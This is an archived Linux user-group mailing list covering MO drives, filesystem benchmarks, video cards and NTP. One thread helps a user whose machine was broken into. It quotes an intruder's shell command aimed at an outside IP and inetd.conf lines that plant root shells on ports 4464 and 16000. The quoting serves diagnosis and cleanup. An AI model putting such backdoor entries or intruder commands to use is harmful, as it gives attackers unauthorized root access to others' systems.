Tuesday, December 12, 2000 10:49 PM > > To: tclug-list@lists.real-time.com > > Subject: Re: [TCLUG] REAL Verbatim drive Q (: > > > > > > * Austad, Jay [001212 22:19]: > > > Can't use ReiserFS on it. Reiser will only format with > > 4096 byte blocks. > > > > /dev/scsi/host0/bus0/target4/lun0/disc on /mnt/mo type reiserfs > > (rw,noexec,nosuid,nodev,user=dieman) > > > > /dev/scsi/host0/bus0/target4/lun0/disc > > 620680 131428 489252 22% /mnt/mo > > > > Worked fine here :) I'm using a Tekram DC-315U card. > > > > scsi0 : Tekram DC395U/UW/F DC315/U V1.32, 2000-12-02 > > Vendor: OLYMPUS Model: MOS364 Rev: 1.02 > > Type: Optical Device ANSI SCSI revision: 02 > > Detected scsi removable disk sda at scsi0, channel 0, id 4, lun 0 > > DC395x: Target 04: Sync: 100ns Offset 15 (10.0 MB/s) > > SCSI device sda: 310352 2048-byte hdwr sectors (636 MB) > > > > > > -- > > Scott Dier #linuxos@irc.openprojects.net > > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > > > "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! > > Kupooo." > > -Moguta (FFIX) > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001213/918b2109/attachment.pgp From austad at marketwatch.com Wed Dec 13 12:05:07 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] REAL Verbatim drive Q (: Message-ID: > Next time, do your test with 2x or more the amount of ram. I would have, but I wanted to test the FS's on the MO drive. I have 512MB of RAM in that box. I guess I could have cranked the size up as high as possible though. > -----Original Message----- > From: Scott Dier [mailto:dieman@ringworld.org] > Sent: Wednesday, December 13, 2000 11:59 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] REAL Verbatim drive Q (: > > > Next time, do your test with 2x or more the amount of ram. > > I did the tests with a 500MB file, for instance. > > * Austad, Jay [001213 01:42]: > > Sweet! I didn't even bother to try Reiser because the > version of mkreiserfs > > that I have won't let me adjust the block size, so I gave > up since the > > manual preaches about 2048B blocksize. > > > > I just reformatted my disk with reiser and I'm running > bonnie on it to > > compare it to ext2. > > > > ReiserFS: > > > > -------Sequential Output-------- ---Sequential Input-- > > --Random-- > > -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- > > --Seeks--- > > Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU > K/sec %CPU /sec > > %CPU > > 100 6205 96.5 43356 93.6 453 1.1 877 12.5 > 28765 18.3 17443.3 > > 95.9 > > 100 1744 26.7 47848 96.3 609 1.3 6820 96.2 > 91798 89.6 61.3 > > 0.3 > > 100 6256 96.4 48244 95.6 432 0.8 6866 96.1 > 114530 94.0 72.2 > > 0.4 > > 100 6114 95.5 47270 94.6 437 0.9 6861 96.3 > 117158 92.7 72.7 > > 0.4 > > > > > > ext2: > > > > -------Sequential Output-------- ---Sequential Input-- > > --Random-- > > -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- > > --Seeks--- > > Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU > K/sec %CPU /sec > > %CPU > > 100 6272 92.6 88213 91.3 47749 92.8 6820 96.2 > 154711 92.2 119.1 > > 0.7 > > 100 6597 96.3 91556 94.8 50079 95.9 6854 96.5 > 160844 97.4 182.5 > > 1.0 > > 100 6484 95.2 93161 96.4 49358 93.0 6872 96.5 > 154766 92.2 149.8 > > 0.9 > > 100 6598 96.5 93746 95.2 51057 96.2 6798 96.0 > 156069 94.5 124.9 > > 0.7 > > > > > > > > Looks like ext2 whooped Reiser. I didn't add any special > options to reiser. > > I wonder if the reiserfs was 2048 byte blocks like the ext2 > one if it would > > make a difference. > > > > Jay > > > > > -----Original Message----- > > > From: Scott Dier [mailto:dieman@ringworld.org] > > > Sent: Tuesday, December 12, 2000 10:49 PM > > > To: tclug-list@lists.real-time.com > > > Subject: Re: [TCLUG] REAL Verbatim drive Q (: > > > > > > > > > * Austad, Jay [001212 22:19]: > > > > Can't use ReiserFS on it. Reiser will only format with > > > 4096 byte blocks. > > > > > > /dev/scsi/host0/bus0/target4/lun0/disc on /mnt/mo type reiserfs > > > (rw,noexec,nosuid,nodev,user=dieman) > > > > > > /dev/scsi/host0/bus0/target4/lun0/disc > > > 620680 131428 489252 22% /mnt/mo > > > > > > Worked fine here :) I'm using a Tekram DC-315U card. > > > > > > scsi0 : Tekram DC395U/UW/F DC315/U V1.32, 2000-12-02 > > > Vendor: OLYMPUS Model: MOS364 Rev: 1.02 > > > Type: Optical Device ANSI SCSI revision: 02 > > > Detected scsi removable disk sda at scsi0, channel 0, id 4, lun 0 > > > DC395x: Target 04: Sync: 100ns Offset 15 (10.0 MB/s) > > > SCSI device sda: 310352 2048-byte hdwr sectors (636 MB) > > > > > > > > > -- > > > Scott Dier #linuxos@irc.openprojects.net > > > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > > > > > "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! > > > Kupooo." > > > -Moguta (FFIX) > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > Scott Dier #linuxos@irc.openprojects.net > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! > Kupooo." > -Moguta (FFIX) > From austad at marketwatch.com Wed Dec 13 12:06:27 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] MO Drive hell Message-ID: > With the MO drive hooked up, W2K finish booting. > Win98 won't see any device on the 2930 controller. > Win98's device manager says there is a problem HEY! You're supposed to be testing it with Linux, I'm telling Verbatim. :) > -----Original Message----- > From: Chris Schumann [mailto:cschumann@twp-llc.com] > Sent: Wednesday, December 13, 2000 11:00 AM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] MO Drive hell > > > I got my MO drive yesterday and hooked it up this morning. > (RPS is indeed FedEx Ground.) > > Anyway, here's my setup: > > A - Adaptec 2100S SCSI RAID controller > 0 - IBM 18.2GB, 4MB, Ultra160 > B - Adaptec AHA-2930 SCSI controller > 2 - Olympus MO drive (external) > 3 - Plextor 12/20 CD-ROM (internal) > 4 - Plextor 8/2/20 CD-RW (internal, terminated) > 6 - Umax 610S Scanner (external, terminated) > > With the MO drive hooked up, W2K finish booting. > Win98 won't see any device on the 2930 controller. > Win98's device manager says there is a problem > with the controller device. > The 2930's setup code gives me timeouts when I try > to run the disk utilities (ctrl-A). > > During startup, the 2930 *does* list the attached > devices correctly. > > It doesn't look like I will be able to install Linux > with the drive attached, and I may not be able to use > my computer at all even after installing Linux. > > Any tips (except "install Debian") would be greatly > appreciated before I try Olympus support. > > Thanks, > Chris > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From b.layer at vikingelectronics.com Wed Dec 13 12:17:25 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] Viper 770 16mb In-Reply-To: <3A37B971.117C9667@innominatus.com> References: <010c01c06521$350c5260$9c29680a@tgt.com> <3A37B971.117C9667@innominatus.com> Message-ID: <00121312172502.00278@Billbob_Linux> y0, I thought the M64 came > out after the TNT2 as the lower cost version from the TNT family. The only > difference in the cards is the memroy, same TNT2 chipset. This is as I understand it as well - that the M64 antidates the Viper 770 series. It is correct that the 16MB Viper 770 is an OEM card, but if you check Diamond's site, you'll find that the Specs for the Viper 770 say "Nvidia TNT2 chipset" - there is no M64 mentioned. Obviously, I'm trying to avoid the M64 at all possible costs. It sounds like a pretty crippled design, from what I read. -- Bill Layer Sales Technician From lerwick at tcfreenet.org Wed Dec 13 12:28:13 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] MO Drive hell References: <200012131551.eBDFp7n29044@sprite.real-time.com> <001501c06526$247da2f0$1000a8c0@cschumann> Message-ID: <3A37BFBD.C47CF84B@tcfreenet.org> > Any tips (except "install Debian") would be greatly > appreciated before I try Olympus support. Well, break it down. Unplug the scanner and possibly the internal CDROMs and see if the MO drive will work on its own. Then start adding stuff back in... From andy at theasis.com Wed Dec 13 06:24:37 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: > maybe.. 2 of the poor souls without DSL who got a MO drive? :) That would be me. Andy From lerwick at tcfreenet.org Wed Dec 13 12:35:33 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] Viper 770 16mb References: <010c01c06521$350c5260$9c29680a@tgt.com> <3A37B971.117C9667@innominatus.com> <00121312172502.00278@Billbob_Linux> Message-ID: <3A37C175.75C27393@tcfreenet.org> > Obviously, I'm trying to avoid the M64 at all possible costs. It sounds like > a pretty crippled design, from what I read. Well thats the point, its a crippled cheapie version of the TNT2. And the Geforce2 MX is a crippled cheapie version of the GTS... From lerwick at tcfreenet.org Wed Dec 13 12:43:46 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] REAL Verbatim drive Q (: References: Message-ID: <3A37C362.5287A849@tcfreenet.org> "Austad, Jay" wrote: > > > Next time, do your test with 2x or more the amount of ram. > > I would have, but I wanted to test the FS's on the MO drive. I have 512MB > of RAM in that box. I guess I could have cranked the size up as high as > possible though. You need to test with a file at least twice the size of RAM so that high level OS caching doesn't mess with the results. But with 512mb RAM and a 600mb drive that could be a problem. (*coughbastardcough* ;) Take it down to 128mb or something and give us some numbers... From lerwick at tcfreenet.org Wed Dec 13 12:46:03 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] Viper 770 16mb References: <00121310171504.00217@Billbob_Linux> Message-ID: <3A37C3EB.39F93F3E@tcfreenet.org> Bill Layer wrote: > > Anyone have experience with the Diamod Viper 770 16MB under Linux? This card > uses the Nvidia TNT2 chipset (The full chip - not the M64 version IIRC). Will > I need to use XF76 4.0 for it? > > I can buy one used for about $45 or so.. sound fair? Only 16mb? Its not an Ultra is it? PCI or AGP? I suppose $45 is reasonable. TNT's are well supported under 3.x and 4.x at any rate. I like TNTs. I have a TNT2 Ultra and a TNT1 in the same box. I love my TNTs... From austad at marketwatch.com Wed Dec 13 13:06:16 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] REAL Verbatim drive Q (: Message-ID: > 600mb drive that could be a problem. (*coughbastardcough* ;) Take it > down to 128mb or something and give us some numbers... What? And destroy my manly 512MB ego? NEVER! I'll consider 256MB, but it'll have to be right after a fight where I whoop some ass, or while drinking shots of everclear to maintain a "virtual 512MB ego". :) > -----Original Message----- > From: Callum Lerwick [mailto:lerwick@tcfreenet.org] > Sent: Wednesday, December 13, 2000 12:44 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] REAL Verbatim drive Q (: > > > "Austad, Jay" wrote: > > > > > Next time, do your test with 2x or more the amount of ram. > > > > I would have, but I wanted to test the FS's on the MO > drive. I have 512MB > > of RAM in that box. I guess I could have cranked the size > up as high as > > possible though. > > You need to test with a file at least twice the size of RAM > so that high > level OS caching doesn't mess with the results. But with > 512mb RAM and a > 600mb drive that could be a problem. (*coughbastardcough* ;) Take it > down to 128mb or something and give us some numbers... > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From b.layer at vikingelectronics.com Wed Dec 13 13:23:05 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] Viper 770 16mb In-Reply-To: <3A37C3EB.39F93F3E@tcfreenet.org> References: <00121310171504.00217@Billbob_Linux> <3A37C3EB.39F93F3E@tcfreenet.org> Message-ID: <00121313230500.00205@Billbob_Linux> Hey, you have now exceeded your allotted quota for use of the alphanumeric sequence "tnt" :) > Only 16mb? Its not an Ultra is it? PCI or AGP? I suppose $45 is > reasonable. > > TNT's are well supported under 3.x and 4.x at any rate. I like TNTs. I > have a TNT2 Ultra and a TNT1 in the same box. I love my TNTs... It's a Viper 770 - 16MB AGP. Uses the TNT2 (not M64, not Ultra) chipset. I am replacing a Voodoo2 (aka Voodoo3 1000) and S3 virge GX2 combo. I am not a gamer in any sense of the word, but I would like to continue to be able to play openGL games if I feel like I need to in the future. I am hoping this is an upgrade from the V2 + S3, which has been a very stable setup. But mostly, I'm looking for high-performance and high resolutions 2D in X.. I have just heard nothing but good about the TNT2 chipset. I bought one of these Viper 770 (16MB) cards for a friend about a year ago. Came from GNS for about $79.00 + tax. -- Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" Powered by Slackware Linux 7.1.0 From tsandqui at yahoo.com Wed Dec 13 15:24:36 2000 From: tsandqui at yahoo.com (Tim Sandquist) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] REAL Verbatim drive Q (: In-Reply-To: ; from austad@marketwatch.com on Wed, Dec 13, 2000 at 01:06:16PM -0600 References: Message-ID: <20001213152436.B1667@yahoo.com> On Wed, Dec 13, 2000 at 01:06:16PM -0600, Austad, Jay wrote: > > 600mb drive that could be a problem. (*coughbastardcough* ;) Take it > > down to 128mb or something and give us some numbers... > > What? And destroy my manly 512MB ego? NEVER! > > I'll consider 256MB, but it'll have to be right after a fight where I whoop > some ass, or while drinking shots of everclear to maintain a "virtual 512MB > ego". :) > Couldn't you trick linux into thinking there is only 128M without taking chips out? Lilo: linux mem=128M (or is it just 128?) Tim > > > > -----Original Message----- > > From: Callum Lerwick [mailto:lerwick@tcfreenet.org] > > Sent: Wednesday, December 13, 2000 12:44 PM > > To: tclug-list@lists.real-time.com > > Subject: Re: [TCLUG] REAL Verbatim drive Q (: > > > > > > "Austad, Jay" wrote: > > > > > > > Next time, do your test with 2x or more the amount of ram. > > > > > > I would have, but I wanted to test the FS's on the MO > > drive. I have 512MB > > > of RAM in that box. I guess I could have cranked the size > > up as high as > > > possible though. > > > > You need to test with a file at least twice the size of RAM > > so that high > > level OS caching doesn't mess with the results. But with > > 512mb RAM and a > > 600mb drive that could be a problem. (*coughbastardcough* ;) Take it > > down to 128mb or something and give us some numbers... > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From josephj at mninter.net Wed Dec 13 22:10:44 2000 From: josephj at mninter.net (Joseph Johnson) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: <00120810314107.00253@Billbob_Linux> Message-ID: I found this in my history file on a machine that I play around with when I decide to try and learn Linux. (sleep 300 ; killall -9 uh) w ./uh 0 212.38.131.178 1 65535 /dev/null & I am pretty much a perpetual newbie. ( I do not do this for a living) I know this systems been compromised. Short of reformatting the hard drive I am not to sure what to do. Any help would be appreciated. Joseph josephj@mninter.net From austad at marketwatch.com Wed Dec 13 22:52:13 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. Message-ID: It appears to be some sort of portscanner or probe thingy. I haven't seen any programs called "uh". He probably compiled some exploit and gave it a random name. That particular IP is part of index.com.jo's domain. What country is .jo? Take a look in /tmp with an "ls -al" and see if you see anything strange in there. Check your logs, look at /etc/inetd.conf and see if there is a /bin/sh or a /bin/bash in it, look at /etc/passwd and see if there are any new accounts, look for new home directories. If you can, just tar up /etc /var/log and /tmp, save it somewhere, and reformat the box. Who knows what kind of backdoors are left behind. > -----Original Message----- > From: Joseph Johnson [mailto:josephj@mninter.net] > Sent: Wednesday, December 13, 2000 10:11 PM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] Could Someone tell me what might be happening here. > > > > I found this in my history file on a machine that I play > around with when I > decide to try and learn Linux. > (sleep 300 ; killall -9 uh) > w > ./uh 0 212.38.131.178 1 65535 /dev/null & > I am pretty much a perpetual newbie. ( I do not do this > for a living) I > know this systems been compromised. Short of reformatting the > hard drive I > am not to sure what to do. Any help would be appreciated. > Joseph > josephj@mninter.net > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andy at theasis.com Wed Dec 13 17:10:37 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: Message-ID: > random name. That particular IP is part of index.com.jo's domain. What > country is .jo? Jordan. That doesn't mean that's where the host is, of course, just where it's registered. Andy > > ./uh 0 212.38.131.178 1 65535 /dev/null & From austad at marketwatch.com Wed Dec 13 23:30:44 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. Message-ID: > That doesn't mean that's where the host is, of course, just where it's > registered. I know. However, the IP is for "Internet Cafee" on Madaba St in Madaba, Jordan. > -----Original Message----- > From: andy@theasis.com [mailto:andy@theasis.com] > Sent: Wednesday, December 13, 2000 5:11 PM > To: 'tclug-list@lists.real-time.com' > Subject: RE: [TCLUG] Could Someone tell me what might be > happening here. > > > > random name. That particular IP is part of index.com.jo's > domain. What > > country is .jo? > > Jordan. > That doesn't mean that's where the host is, of course, just where it's > registered. > > Andy > > > > ./uh 0 212.38.131.178 1 65535 /dev/null & > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From sos at zjod.net Wed Dec 13 23:37:34 2000 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: from "Joseph Johnson" at Dec 13, 2000 10:10:44 PM Message-ID: <200012140537.XAA05067@zjod.net> The traceroute to 212.38.131.178 reaches gw0-e1.index.com.jo (212.38.128.250) and then dies. FYI: Country code ".jo" is Jordan. What version of bind are you running? Your code fragment below looks amazingly like a stealth IRC daemon/server installed via the ADMROCKS expliot on bind. 1- Check /etc/inetd.conf to see if anything extra has been added 2- Run /usr/bin/lsattr against: /usr/bin/dig /usr/bin/dnsquery /usr/bin/du /usr/bin/find /usr/bin/host /usr/bin/nslookup /usr/bin/top /bin/ls /bin/netstat /bin/ps /bin/login For each of those files, lsattr should output leading "--------"'s: -------- /usr/bin/dig -------- /usr/bin/dnsquery -------- /usr/bin/du -------- /usr/bin/find -------- /usr/bin/host -------- /usr/bin/nslookup -------- /usr/bin/top -------- /bin/ls -------- /bin/netstat -------- /bin/ps -------- /bin/login If it doesn't, you've been hacked. 3- If you've been hacked, it's almost certain _other_ files have also been installed, parts of your configuration (in /etc) have been tampered with, and other nasty stuff has taken place. If you've been hacked, about your only _secure_ option is to re-install from square-one (remembering to also add security updates provided by your Linux distributor). To prevent a hacker reinfestation, if your Linux distribution contains an automatically configured firewall, install it. If not, get one (I recommend PMFirewall for newbies, see http://www.pointman.org). Hope this helps'idly, -S Joseph Johnson wrote: > > > I found this in my history file on a machine that I play around with when I > decide to try and learn Linux. > (sleep 300 ; killall -9 uh) > w > ./uh 0 212.38.131.178 1 65535 /dev/null & > I am pretty much a perpetual newbie. ( I do not do this for a living) I > know this systems been compromised. Short of reformatting the hard drive I > am not to sure what to do. Any help would be appreciated. > Joseph > josephj@mninter.net From andy at theasis.com Wed Dec 13 17:40:04 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: Message-ID: > > That doesn't mean that's where the host is, of course, just where it's > > registered. > > I know. However, the IP is for "Internet Cafee" on Madaba St in Madaba, > Jordan. Well, then, let's go check it out! Andy From jethro at freakzilla.com Wed Dec 13 23:59:39 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Booting off the MO? Message-ID: Hi, Has anyone managed to do this? QNX couldn't find the drive, neither could Win98/Win98SE. W2K found it AND made a partition but wants more than 600MB (it wants like 700+). Red Hat install _hung_ on kernel boot right after the Universal CDROM driver installed... I must bring a FreeBSD disc home tomorrow... -Yaron -- From tobytoo at black-hole.com Thu Dec 14 00:00:17 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Verbatim MO Drive References: <20001212091311.A720@baker.space.umn.edu> <3A37520B.6DE9D1E9@tcfreenet.org> Message-ID: <3A3861F1.C35E01C0@black-hole.com> RPS is Roadway Package Service. They I believe they're now part of Fed-Ex, but I could be wrong. Callum Lerwick wrote: > Jim Crumley wrote: > > > > Has everyone who signed up to get a MO drive gotten one? > > How were they shipped? > > Well, mine came inside an OEM-whiteboxish box, which was inside a larger > shipping container that was as deep as the whitebox but taller and > wider, with no padding at all. So it was just kinda sliding around > inside as I picked it up off the doorstep. Ish. But it seems to have > survived. > > Not sure who shipped it. Its not obviously UPS or US Mail, I wasn't > around when the truck came. Only useful thing I can find on it despite > all the shipping labels slapped all over it is "Carrier: RPS". Anyone > know who they are offhand? Bet I go "duh"... > > > I still haven't gotten mine and I was gone a couple > > of days last week at the same time people started > > writing to the list that they had gotten their MO > > drives. I worried that someone might have grabbed > > it out of the mail. > > Well, give it a week, then worry... > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From josephj at mninter.net Wed Dec 13 23:51:42 2000 From: josephj at mninter.net (Joseph Johnson) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: <200012140537.XAA05067@zjod.net> Message-ID: The traceroute to 212.38.131.178 reaches gw0-e1.index.com.jo (212.38.128.250) and then dies. FYI: Country code ".jo" is Jordan. What version of bind are you running? Your code fragment below looks amazingly like a stealth IRC daemon/server installed via the ADMROCKS expliot on bind. 1- Check /etc/inetd.conf to see if anything extra has been added This has been added Linuxconf stream tcp wait root /bin/linuxconf -http #swat stream tcp nowait.400 root /usr/sbin swat swat 4464 stream tcp nowait root /bin/sh sh -I 16000 stream tcp nowait root /usr/sbin/tcpd /bin/sh 2- Run /usr/bin/lsattr against: /usr/bin/dig /usr/bin/dnsquery /usr/bin/du /usr/bin/find /usr/bin/host /usr/bin/nslookup /usr/bin/top /bin/ls /bin/netstat /bin/ps /bin/login For each of those files, lsattr should output leading "--------"'s: -------- /usr/bin/dig -------- /usr/bin/dnsquery -------- /usr/bin/du -------- /usr/bin/find -------- /usr/bin/host -------- /usr/bin/nslookup -------- /usr/bin/top -------- /bin/ls -------- /bin/netstat -------- /bin/ps -------- /bin/login everthing here looks like the above except for login which looks like ----i---/bin/login If it doesn't, you've been hacked. 3- If you've been hacked, it's almost certain _other_ files have also been installed, parts of your configuration (in /etc) have been tampered with, and other nasty stuff has taken place. If you've been hacked, about your only _secure_ option is to re-install from square-one (remembering to also add security updates provided by your Linux distributor). To prevent a hacker reinfestation, if your Linux distribution contains an automatically configured firewall, install it. If not, get one (I recommend PMFirewall for newbies, see http://www.pointman.org). Hope this helps'idly, -S Joseph Johnson wrote: > > > I found this in my history file on a machine that I play around with when I > decide to try and learn Linux. > (sleep 300 ; killall -9 uh) > w > ./uh 0 212.38.131.178 1 65535 /dev/null & > I am pretty much a perpetual newbie. ( I do not do this for a living) I > know this systems been compromised. Short of reformatting the hard drive I > am not to sure what to do. Any help would be appreciated. > Joseph > josephj@mninter.net _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From sos at zjod.net Thu Dec 14 00:09:53 2000 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: from "Joseph Johnson" at Dec 13, 2000 11:51:42 PM Message-ID: <200012140609.AAA24050@zjod.net> Yeah... you've been hacked. Joseph Johnson wrote: > > > > > > The traceroute to 212.38.131.178 reaches gw0-e1.index.com.jo > (212.38.128.250) > and then dies. FYI: Country code ".jo" is Jordan. > > What version of bind are you running? Your code fragment below looks > amazingly > like a stealth IRC daemon/server installed via the ADMROCKS expliot on bind. > > 1- Check /etc/inetd.conf to see if anything extra has been added > This has been added > Linuxconf stream tcp wait root /bin/linuxconf -http > #swat stream tcp nowait.400 root /usr/sbin swat swat > 4464 stream tcp nowait root /bin/sh sh -I > 16000 stream tcp nowait root /usr/sbin/tcpd /bin/sh > 2- Run /usr/bin/lsattr against: > /usr/bin/dig > /usr/bin/dnsquery > /usr/bin/du > /usr/bin/find > /usr/bin/host > /usr/bin/nslookup > /usr/bin/top > /bin/ls > /bin/netstat > /bin/ps > /bin/login > > For each of those files, lsattr should output leading "--------"'s: > -------- /usr/bin/dig > -------- /usr/bin/dnsquery > -------- /usr/bin/du > -------- /usr/bin/find > -------- /usr/bin/host > -------- /usr/bin/nslookup > -------- /usr/bin/top > -------- /bin/ls > -------- /bin/netstat > -------- /bin/ps > -------- /bin/login > everthing here looks like the above except for login which looks > like ----i---/bin/login > > If it doesn't, you've been hacked. > > 3- If you've been hacked, it's almost certain _other_ files have also been > installed, parts of your configuration (in /etc) have been tampered > with, and other nasty stuff has taken place. > > If you've been hacked, about your only _secure_ option is to re-install from > square-one (remembering to also add security updates provided by your Linux > distributor). > > To prevent a hacker reinfestation, if your Linux distribution contains an > automatically configured firewall, install it. If not, get one (I recommend > PMFirewall for newbies, see http://www.pointman.org). > > Hope this helps'idly, > > -S > > > > Joseph Johnson wrote: > > > > > > I found this in my history file on a machine that I play around with when > I > > decide to try and learn Linux. > > (sleep 300 ; killall -9 uh) > > w > > ./uh 0 212.38.131.178 1 65535 /dev/null & > > I am pretty much a perpetual newbie. ( I do not do this for a > living) I > > know this systems been compromised. Short of reformatting the hard drive I > > am not to sure what to do. Any help would be appreciated. > > Joseph > > josephj@mninter.net > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From josephj at mninter.net Thu Dec 14 00:07:07 2000 From: josephj at mninter.net (Joseph Johnson) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: <200012140609.AAA24050@zjod.net> Message-ID: Yeah... you've been hacked. Ok so I wipe the drive re install how do prevent it from happening again. Or if I leave it up can I catch whoever is messing around or at least figure out why? Joseph > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Thu Dec 14 00:23:34 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] NTP and RedHat 7.0? Message-ID: <3A386766.43FA5F52@tc.umn.edu> Has anyone been having problems with using ntpd in RedHat 7? I have not been able to get any NTP-based programs to work correctly. Running tcpdump shows that packets seem to be going to/from my system and time servers, but when I run `ntpq' and look at peering and associatons, I don't see anything (other than basically null data): # ntpq ntpq> pe remote refid st t when poll reach delay offset jitter ============================================================================== 204.34.198.41 0.0.0.0 16 u - 64 0 0.000 0.000 4000.00 ntp1.usno.navy. 0.0.0.0 16 u - 64 0 0.000 0.000 4000.00 ntpq> as ind assID status conf reach auth condition last_event cnt =========================================================== 1 49692 8000 yes yes none reject 2 49693 8000 yes yes none reject ntpq> q I get the same behavior whether I use the RPM version that came with RH 7, if I compile it on this system, or if I compile it on other machines. I've also tried older versions (I'm using 4.0.99k right now), and they don't work either. Any ideas? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ In the carpool lane to / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Nirvana. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From sos at zjod.net Thu Dec 14 00:50:30 2000 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. In-Reply-To: from "Joseph Johnson" at Dec 14, 2000 12:07:07 AM Message-ID: <200012140650.AAA28424@zjod.net> Joseph Johnson wrote: > > > > >> Yeah... you've been hacked. > Ok so I wipe the drive re install how do prevent it from happening again. > Or if I leave it up can I catch whoever is messing around or at least figure > out why? > Joseph Trying to catch these script-kiddies is a waste of time. Chances are they're using your box from _another_ hacked box... not directly from where they live. Since your original hack-daemon is controlled by a box in Jordan, who are you gonna call if you _do_ catch 